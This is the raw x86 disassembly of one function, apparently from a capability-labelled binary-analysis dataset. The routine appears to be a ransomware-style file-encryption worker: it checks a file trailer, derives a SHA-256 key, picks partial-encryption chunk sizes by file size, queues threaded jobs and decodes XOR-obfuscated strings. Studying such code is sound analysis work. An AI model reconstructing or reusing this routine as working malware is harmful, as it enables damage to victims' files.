Function at 0x40f2f0
Capabilities:
Encode data using xor
Hash data using sha256

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x7d4
push ebx
push esi
push edi
mov esi, ecx
mov dword [ebp - 0x28], edx
push 0x80
xor ebx, ebx
mov dword [ebp - 0xc], esi
push esi
mov byte [ebp - 1], 0
xor edi, edi
mov dword [ebp - 0x10], ebx
mov dword [ebp - 8], ebx
call dword [0x425234]
push edi
push edi
push 3
push edi
push edi
push 0x80000000
push esi
call dword [0x4250bc]
mov esi, eax
cmp esi, 0xffffffff
je 0x40f395
push 2
push edi
push 0xffffffffffffffff
push 0xfffffdb0
push esi
call dword [0x425080]
test eax, eax
je 0x40f38e
push edi
lea eax, [ebp - 0xa4]
push eax
push 0x250
lea eax, [ebp - 0x7d0]
push eax
push esi
call dword [0x4253d8]
test eax, eax
je 0x40f38e
lea ecx, [ebp - 0x5b8]
call fcn.00408a50
cmp eax, dword [ebp - 0x58c]
jne 0x40f38e
push esi
call dword [0x4251e0]
mov al, bl
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
push esi
call dword [0x4251e0]
mov eax, dword [0x4256f4]
neg eax
push 0
sbb eax, eax
and eax, 0xc0000000
add eax, 0x48000000
push eax
push 3
push 0
push 0
push 0xc0000000
push dword [ebp - 0xc]
call dword [0x4250bc]
mov esi, eax
mov dword [ebp - 0x2c], esi
cmp esi, 0xffffffff
je 0x40fc3a
lea eax, [ebp - 0x20]
push eax
push esi
call dword [0x425374]
test eax, eax
je 0x40f37e
mov edx, dword [ebp - 0x20]
mov eax, edx
mov ecx, dword [ebp - 0x1c]
or eax, ecx
je 0x40f37e
test ecx, ecx
jl 0x40f3ff
jg 0x40f3f6
cmp edx, 0x20000
jb 0x40f3ff
mov dword [ebp - 0x24], 0x20000
jmp 0x40f405
mov eax, dword [ebp - 0x20]
mov dword [ebp - 0x24], eax
mov eax, dword [ebp - 0x20]
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 0xc], eax
mov eax, dword [0x425968]
cmp eax, 4
ja case.default.0x40f41f
jmp dword [eax*4 + 0x40fcac]
mov eax, dword [0x425970]
mov edi, 1
shl eax, 0x11
sub eax, 0x20000
cdq
mov ebx, eax
mov dword [ebp - 8], edx
mov dword [ebp - 0x10], ebx
jmp case.default.0x40f41f
push dword [ebp - 0x28]
call dword [0x42522c]
cmp word [eax], bx
je 0x40f484
mov esi, dword [0x425574]
cmp word [esi], bx
je 0x40f484
lea edi, [eax + 2]
push esi
push edi
call dword [0x425304]
test eax, eax
je case.0x40f41f.0
push esi
call dword [0x4252e0]
lea esi, [esi + eax*2]
add esi, 2
cmp word [esi], bx
jne 0x40f462
mov eax, dword [0x425970]
mov edi, 1
shl eax, 0x11
sub eax, 0x20000
cdq
mov ebx, eax
mov dword [ebp - 0x10], eax
mov dword [ebp - 8], edx
jmp case.default.0x40f41f
push dword [ebp - 0x28]
call dword [0x42522c]
cmp word [eax], bx
je case.0x40f41f.2
mov esi, dword [0x425574]
cmp word [esi], bx
je case.0x40f41f.2
lea edi, [eax + 2]
lea ecx, [ecx]
push esi
push edi
call dword [0x425304]
test eax, eax
je 0x40f851
push esi
call dword [0x4252e0]
lea esi, [esi + eax*2]
add esi, 2
cmp word [esi], bx
jne 0x40f4c0
mov edi, 2
mov eax, dword [ebp - 0x20]
lea ecx, [ebp - 0xe4]
add eax, 0x248
mov edx, 0x20
mov dword [ebp - 0x30], eax
mov eax, dword [ebp - 0x1c]
adc eax, 0
mov dword [ebp - 0xc], eax
call fcn.0040e250
mov edx, 8
lea ecx, [ebp - 0x100]
call fcn.0040e250
push 0x423e78
lea edx, [ebp - 0xe4]
lea ecx, [ebp - 0x120]
call fcn.0040b4b0
add esp, 4
lea edx, [ebp - 0xe4]
lea ecx, [ebp - 0xc4]
push 0x425944
call fcn.0040b4b0
add esp, 4
mov dword [ebp - 0xa0], 0
lea edx, [ebp - 0xc4]
mov dword [ebp - 0x9c], 0
lea ecx, [ebp - 0xa0]
mov dword [ebp - 0x98], 0x6a09e667
mov dword [ebp - 0x94], 0xbb67ae85
push 0x20
mov dword [ebp - 0x90], 0x3c6ef372
mov dword [ebp - 0x8c], 0xa54ff53a
mov dword [ebp - 0x88], 0x510e527f
mov dword [ebp - 0x84], 0x9b05688c
mov dword [ebp - 0x80], 0x1f83d9ab
mov dword [ebp - 0x7c], 0x5be0cd19
mov dword [ebp - 0x78], 0
call fcn.00419740
add esp, 4
lea edx, [ebp - 0xc4]
lea ecx, [ebp - 0xa0]
call fcn.00419800
push 0x70
lea eax, [ebp - 0xa0]
push 0
push eax
call dword [0x425384]
add esp, 0xc
lea eax, [ebp - 0x100]
lea edx, [ebp - 0xc4]
lea ecx, [ebp - 0x580]
push eax
call fcn.00404d50
mov eax, dword [ebp - 8]
lea ecx, [ebp - 0xc4]
add esp, 4
mov dword [ebp - 0x338], edi
mov dword [ebp - 0x330], ebx
mov dword [ebp - 0x32c], eax
call fcn.00408a50
lea ecx, [ebp - 0x120]
mov dword [ebp - 0xf8], eax
call fcn.00408a50
push dword [ebp - 0x28]
mov dword [ebp - 0xf4], eax
lea eax, [ebp - 0x328]
push eax
call dword [0x425278]
lea eax, [ebp - 0x338]
push 0x218
push eax
mov edx, eax
lea ecx, [ebp - 0x580]
call fcn.00404f20
add esp, 8
lea eax, [ebp - 0xe4]
mov ecx, 0x20
mov byte [eax], 0
lea eax, [eax + 1]
sub ecx, 1
jne 0x40f676
mov ecx, 0x20
lea eax, [ebp - 0xc4]
lea esp, [esp]
mov byte [eax], 0
lea eax, [eax + 1]
sub ecx, 1
jne 0x40f690
cmp dword [0x4256f4], ecx
jne 0x40f9da
mov eax, dword [ebp - 0x24]
add eax, 0x508
push eax
push 8
push dword [0x425ba8]
mov dword [ebp - 0x14], eax
call dword [0x425358]
mov esi, eax
test esi, esi
jne 0x40f6f3
mov ebx, dword [ebp - 0x14]
lea ebx, [ebx]
push 0x80
call dword [0x425428]
push ebx
push 8
push dword [0x425ba8]
call dword [0x425358]
mov esi, eax
test esi, esi
je 0x40f6d0
mov ebx, dword [ebp - 0x10]
push 0x244
lea eax, [ebp - 0x580]
push eax
lea eax, [esi + 0x2bc]
push eax
call dword [0x425270]
add esp, 0xc
lea eax, [ebp - 0x338]
push 0x250
push eax
lea eax, [esi + 0x18]
push eax
call dword [0x425270]
mov eax, dword [ebp - 0x24]
add esp, 0xc
mov dword [esi + 0x288], eax
mov eax, dword [ebp - 0x2c]
mov dword [esi + 0x268], eax
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov dword [esi + 0x290], eax
mov eax, dword [ebp - 8]
mov dword [esi + 0x274], eax
mov eax, dword [ebp - 0x30]
push 0
mov dword [esi + 0x2b0], eax
mov eax, dword [ebp - 0xc]
push 0
push dword [0x4259c8]
mov dword [esi + 0x2b4], eax
mov al, byte [ebp + 8]
mov dword [esi + 0x270], ebx
mov ebx, dword [ebp - 0x2c]
mov byte [esi + 0x2a0], al
mov eax, dword [ebp + 0xc]
push ebx
mov dword [esi + 0x294], ecx
mov dword [esi + 0x280], edi
mov dword [esi + 0x2a4], eax
call dword [0x4252a4]
test eax, eax
jne 0x40f91a
mov dword [ebp - 0x74], 0x8400b5
mov ecx, 0xf6
mov dword [ebp - 0x70], 0x970093
mov dword [ebp - 0x6c], 0x930082
mov dword [ebp - 0x68], 0x9900bf
mov dword [ebp - 0x64], 0x9900b5
mov dword [ebp - 0x60], 0x86009b
mov dword [ebp - 0x5c], 0x93009a
mov dword [ebp - 0x58], 0x9f0082
mov dword [ebp - 0x54], 0x980099
mov dword [ebp - 0x50], 0x9900a6
mov dword [ebp - 0x4c], 0x820084
mov dword [ebp - 0x48], 0xb300d6
mov dword [ebp - 0x44], 0xa400a4
mov dword [ebp - 0x40], 0xa400b9
mov dword [ebp - 0x3c], 0xd600cc
mov dword [ebp - 0x38], 0x9a00d3
mov dword [ebp - 0x34], 0xf60083
lea ecx, [ecx]
xor word [ebp + eax*2 - 0x74], cx
inc eax
cmp eax, 0x22
jb 0x40f820
call dword [0x425380]
push eax
lea eax, [ebp - 0x74]
push eax
push 1
call fcn.0040b980
add esp, 0xc
push ebx
call dword [0x4251e0]
mov al, byte [ebp - 1]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
mov eax, dword [ebp - 0xc]
test eax, eax
jg 0x40f86c
jl case.0x40f41f.0
mov ecx, dword [ebp - 0x14]
cmp ecx, 0x2000000
ja 0x40f86f
xor edi, edi
jmp case.default.0x40f41f
mov ecx, dword [ebp - 0x14]
test eax, eax
jg 0x40f896
jl 0x40f87d
cmp ecx, 0x20000000
ja 0x40f896
mov ebx, 0x40000
mov dword [ebp - 8], 0
mov edi, 1
mov dword [ebp - 0x10], ebx
jmp case.default.0x40f41f
cmp eax, 2
jg 0x40f8ba
jl 0x40f8a1
test ecx, ecx
jne 0x40f8ba
mov ebx, 0x400000
mov dword [ebp - 8], 0
mov edi, 1
mov dword [ebp - 0x10], ebx
jmp case.default.0x40f41f
cmp eax, 0x20
jg 0x40f8de
jl 0x40f8c5
test ecx, ecx
jne 0x40f8de
mov ebx, 0x4000000
mov dword [ebp - 8], 0
mov edi, 1
mov dword [ebp - 0x10], ebx
jmp case.default.0x40f41f
cmp eax, 0x200
jg 0x40f904
jl 0x40f8eb
test ecx, ecx
jne 0x40f904
mov ebx, 0x40000000
mov dword [ebp - 8], 0
mov edi, 1
mov dword [ebp - 0x10], ebx
jmp case.default.0x40f41f
xor ebx, ebx
mov dword [ebp - 8], 4
mov edi, 1
mov dword [ebp - 0x10], ebx
jmp case.default.0x40f41f
push esi
push 0
push 0
push dword [0x4259c8]
call dword [0x4253e4]
test eax, eax
jne 0x40fbdc
mov dword [ebp - 0x7c], 0x9900a6
mov ecx, 0xf6
mov dword [ebp - 0x78], 0x820085
mov dword [ebp - 0x74], 0x8300a7
mov dword [ebp - 0x70], 0x830093
mov dword [ebp - 0x6c], 0x920093
mov dword [ebp - 0x68], 0x9900b5
mov dword [ebp - 0x64], 0x86009b
mov dword [ebp - 0x60], 0x93009a
mov dword [ebp - 0x5c], 0x9f0082
mov dword [ebp - 0x58], 0x980099
mov dword [ebp - 0x54], 0x8200a5
mov dword [ebp - 0x50], 0x820097
mov dword [ebp - 0x4c], 0x850083
mov dword [ebp - 0x48], 0xb300d6
mov dword [ebp - 0x44], 0xa400a4
mov dword [ebp - 0x40], 0xa400b9
mov dword [ebp - 0x3c], 0xd600cc
mov dword [ebp - 0x38], 0x9a00d3
mov dword [ebp - 0x34], 0xf60083
lea ecx, [ecx]
xor word [ebp + eax*2 - 0x7c], cx
inc eax
cmp eax, 0x26
jb 0x40f9c0
call dword [0x425380]
push eax
lea eax, [ebp - 0x7c]
jmp 0x40f835
push 0x2a8
push 8
push dword [0x425ba8]
call dword [0x425358]
mov esi, eax
mov dword [ebp - 0x14], esi
test esi, esi
jne 0x40fa27
jmp 0x40fa00
push 0x80
call dword [0x425428]
push 0x2a8
push 8
push dword [0x425ba8]
call dword [0x425358]
mov esi, eax
mov dword [ebp - 0x14], eax
test esi, esi
je 0x40fa00
mov eax, dword [ebp - 0x24]
add eax, 0x260
push eax
push 8
push dword [0x425ba8]
mov dword [ebp - 0x28], eax
call dword [0x425358]
mov ebx, eax
test ebx, ebx
jne 0x40fa73
mov esi, dword [ebp - 0x28]
lea ebx, [ebx]
push 0x80
call dword [0x425428]
push esi
push 8
push dword [0x425ba8]
call dword [0x425358]
mov ebx, eax
test ebx, ebx
je 0x40fa50
mov esi, dword [ebp - 0x14]
push 0x244
lea eax, [ebp - 0x580]
push eax
lea eax, [ebx + 0x18]
push eax
call dword [0x425270]
add esp, 0xc
lea eax, [ebp - 0x338]
push 0x250
push eax
lea eax, [esi + 8]
push eax
call dword [0x425270]
mov eax, dword [ebp - 0x24]
add esp, 0xc
mov dword [esi + 0x264], eax
mov eax, dword [ebp - 0x2c]
mov dword [esi], eax
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov dword [esi + 0x268], eax
mov eax, dword [ebp - 0x10]
mov dword [esi + 0x258], eax
mov eax, dword [ebp - 8]
mov dword [esi + 0x25c], eax
mov eax, dword [ebp - 0x30]
mov dword [esi + 0x290], eax
mov eax, dword [ebp - 0xc]
push 0
mov dword [esi + 0x294], eax
mov al, byte [ebp + 8]
push 0
mov dword [esi + 0x26c], ecx
mov dword [esi + 0x260], edi
mov dword [ebx + 0x14], esi
push 1
mov byte [esi + 0x280], al
mov eax, dword [ebp + 0xc]
push 0
mov dword [esi + 0x284], eax
call dword [0x4253f0]
mov dword [esi + 0x2a4], eax
lock inc dword [esi + 0x274]
nop
push 0
push dword [0x4259d4]
call dword [0x42523c]
test eax, eax
je 0x40fb94
push 0
push dword [0x4259d8]
call dword [0x42523c]
test eax, eax
jne 0x40fb20
push 0x4259e8
call dword [0x42506c]
mov eax, dword [0x4259e0]
xor edx, edx
mov esi, dword [0x4259d0]
push 0x4259e8
mov esi, dword [esi + eax*4]
inc eax
div dword [0x4259e4]
mov dword [0x4259e0], edx
call dword [0x425280]
push 0
push 1
push dword [0x4259d4]
call dword [0x425154]
test esi, esi
je 0x40fb20
mov ecx, esi
call fcn.00411500
jmp 0x40fb32
push 0x4259e8
call dword [0x42506c]
mov ecx, dword [0x4259dc]
xor edx, edx
mov eax, dword [0x4259d0]
push 0x4259e8
mov dword [eax + ecx*4], ebx
mov eax, dword [0x4259dc]
inc eax
div dword [0x4259e4]
mov dword [0x4259dc], edx
call dword [0x425280]
push 0
push 1
push dword [0x4259d8]
call dword [0x425154]
cmp dword [0x425820], 0
je 0x40fc31
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0xc], eax
mov dword [ebp - 0x30], ecx
mov dword [ebp - 0x14], 0x4259b0
jmp 0x40fc00
mov esi, dword [0x4259b0]
mov ebx, esi
mov edi, dword [0x4259b4]
add ebx, eax
mov ecx, edi
mov dword [ebp - 0x2c], edi
adc ecx, dword [ebp - 0x30]
mov edx, edi
mov edi, dword [ebp - 0x14]
mov eax, esi
lock cmpxchg8b qword [edi]
mov edi, dword [ebp - 0x2c]
cmp eax, esi
mov eax, dword [ebp - 0xc]
jne 0x40fc00
cmp edx, edi
jne 0x40fc00
mov al, 1
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
mov dword [ebp - 0x58], 0x9700b5
mov ecx, 0xf6
mov dword [ebp - 0x54], 0xd10098
xor eax, eax
mov dword [ebp - 0x50], 0xd60082
mov dword [ebp - 0x4c], 0x8600b9
mov dword [ebp - 0x48], 0x980093
mov dword [ebp - 0x44], 0xb000d6
mov dword [ebp - 0x40], 0x9a009f
mov dword [ebp - 0x3c], 0xcc0093
mov dword [ebp - 0x38], 0xd300d6
mov dword [ebp - 0x34], 0xf60085
xor word [ebp + eax*2 - 0x58], cx
inc eax
cmp eax, 0x14
jb 0x40fc87
push dword [ebp - 0xc]
lea eax, [ebp - 0x58]
push eax
push 1
call fcn.0040b980
add esp, 0xc
mov al, bl
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret